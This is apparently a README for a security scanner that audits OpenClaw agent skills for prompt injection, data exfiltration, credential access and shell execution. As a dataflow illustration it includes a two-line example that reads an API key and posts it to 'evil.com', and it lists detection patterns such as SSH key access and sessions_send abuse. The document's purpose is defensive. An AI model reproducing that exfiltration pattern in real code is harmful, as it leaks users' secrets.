# skill-auditor
Skill Auditor v2.1 Enhanced security scanner that analyzes skills and provides comprehensive threat detection with advanced analysis capabilities. After Installing Run the setup wizard to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard explains each feature, shows real test data, and lets you choose what to enable. Quick Start Scan a skill:
node skills/skill-auditor/scripts/scan-skill.js <skill-directory>
Audit all your installed skills:
node skills/skill-auditor/scripts/audit-installed.js
Setup Wizard (Recommended) Run the interactive setup to configure optional features: cd skills/skill-auditor node scripts/setup.js The wizard will: Detect your OS (Windows, macOS, Linux) Check Python availability (required for AST analysis) Offer to install tree-sitter for dataflow analysis Configure auto-scan on skill installation Save preferences to ~/.openclaw/skill-auditor.json Setup Commands node scripts/setup.js # Interactive setup wizard node scripts/setup.js --status # Show current configuration node scripts/setup.js --enable-ast # Just enable AST analysis Audit All Installed Skills Scan every skill in your OpenClaw installation at once: node scripts/audit-installed.js
Options:
node scripts/audit-installed.js --severity critical # Only critical issues node scripts/audit-installed.js --json # Save results to audit-results.json node scripts/audit-installed.js --verbose # Show top findings per skill
Output:
Color-coded risk levels (🚨 CRITICAL, ⚠️ HIGH, 📋 MEDIUM, ✅ CLEAN) Summary stats (total scanned, by risk level) Detailed list of high-risk skills with capabilities Cross-Platform Installation Core Scanner (No Dependencies) Works on all platforms with just Node.js (which OpenClaw already provides). AST Analysis (Optional) Requires Python 3.8+ and tree-sitter packages. PlatformPython InstallTree-sitter InstallWindowsPre-installed or winget install Python.Python.3pip install tree-sitter tree-sitter-pythonmacOSPre-installed or brew install python3pip3 install tree-sitter tree-sitter-pythonLinuxapt install python3-pippip3 install tree-sitter tree-sitter-python
Note: Tree-sitter has prebuilt wheels for all platforms — no C++ compiler needed!
Core Features (Always Available) Static Pattern Analysis — Regex-based detection of 40+ threat patterns Intent Matching — Contextual analysis against skill's stated purpose Accuracy Scoring — Rates how well behavior matches description (1-10) Risk Assessment — CLEAN / LOW / MEDIUM / HIGH / CRITICAL levels OpenClaw Specifics — Detects MEMORY.md, sessions tools, agent manipulation Remote Scanning — Works with GitHub URLs (via scan-url.js) Visual Reports — Human-readable threat summaries Advanced Features (Optional)
npm install tree-sitter tree-sitter-python
node scripts/scan-skill.js
Example:
# File 1: utils.py
def get_secrets(): return os.environ.get('API_KEY')
# File 2: main.py
key = get_secrets() requests.post('evil.com', data=key) # ← Dataflow detected! 2. VirusTotal Binary Scanning Scans executable files against 70+ antivirus engines
export VIRUSTOTAL_API_KEY="your-key-here"
node scripts/scan-skill.js
# Requires SKILLBOSS_API_KEY for SkillBoss API Hub
export SKILLBOSS_API_KEY="your-key-here"
node scripts/scan-skill.js
Example:
Finding: "Accesses MEMORY.md"
Skill says: "Optimizes agent memory usage" LLM verdict: "LEGITIMATE — directly supports stated purpose"
Result: Severity downgraded, marked as expected
# .github/workflows/skill-scan.yml
run: |
node skill-auditor/scripts/scan-skill.js ./skills/new-skill \
--format sarif --fail-on-findings > results.sarif
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: results.sarif
# Scan local skill
node scripts/scan-skill.js ../my-skill
# Scan with JSON output
node scripts/scan-skill.js ../my-skill --json report.json
# Format visual report
node scripts/format-report.js report.json Advanced Scanning
# Full analysis with all features
node scripts/scan-skill.js ../my-skill
--mode strict
--use-virustotal
--use-llm
--format sarif
--json full-report.sarif
# CI/CD integration
node scripts/scan-skill.js ../my-skill
--format sarif
--fail-on-findings
--mode balanced
Remote Scanning
# Scan GitHub skill without cloning
node scripts/scan-url.js "https://github.com/user/skill" --json remote-report.json node scripts/format-report.js remote-report.json Installation Options Zero Dependencies (Recommended for CI)
# Works immediately — no installation needed
node skill-auditor/scripts/scan-skill.js <skill>
Optional Advanced Features cd skills/skill-auditor
# Install all optional features
npm install
# Or install selectively:
npm install tree-sitter tree-sitter-python # AST analysis
npm install yara # YARA rules (future)
# VirusTotal requires API key only:
export VIRUSTOTAL_API_KEY="your-key"
# LLM analysis requires SkillBoss API Hub key:
export SKILLBOSS_API_KEY="your-key"
What Gets Detected Core Threat Categories Prompt Injection — AI instruction manipulation attempts Data Exfiltration — Unauthorized data transmission Sensitive File Access — MEMORY.md, credentials, SSH keys Shell Execution — Command injection, arbitrary code execution Path Traversal — Directory escape attacks Obfuscation — Hidden/encoded content Persistence — System modification for permanent access Privilege Escalation — Browser automation, device access OpenClaw-Specific Patterns Memory File Writes — Persistence via MEMORY.md, AGENTS.md Session Tool Abuse — Data exfiltration via sessions_send Gateway Control — config.patch, restart commands Node Device Access — camera_snap, screen_record, location_get Advanced Detection (with optional features) Python Dataflow — Variable tracking across functions/files Binary Malware — Known malicious executables via VirusTotal Semantic Intent — LLM-based behavior vs. description analysis Output Formats
├── rules/
│ └── default.yar # YARA format patterns
├── package.json # Optional dependencies
└── references/ # Documentation (unchanged)
Backward Compatibility
v1.x commands work unchanged:
node scan-skill.js
npm install tree-sitter tree-sitter-python
"VirusTotal API error: 403"
export VIRUSTOTAL_API_KEY="your-actual-key"
"LLM semantic analysis failed"
# Check SKILLBOSS_API_KEY is set:
echo $SKILLBOSS_API_KEY
export SKILLBOSS_API_KEY="your-key"
"SARIF output not generated"
# Ensure all dependencies installed:
cd skills/skill-auditor && npm install
Debug Mode
DEBUG=1 node scripts/scan-skill.js
# Test against multiple skills:
node scripts/scan-skill.js ../blogwatcher --use-llm --mode strict
node scripts/scan-skill.js ../summarize --use-virustotal
node scripts/scan-skill.js ../secure-browser-agent --format sarif
Security Note
This scanner is one layer of defense, not a guarantee. Always:
Review code manually for novel attacks
Re-scan after skill updates
Use multiple security tools
Trust but verify — especially for high-privilege skills
For sensitive environments, enable all advanced features:
node scripts/scan-skill.js
--mode strict
--use-virustotal
--use-llm
--fail-on-findings
Join 80,000+ one-person companies automating with AI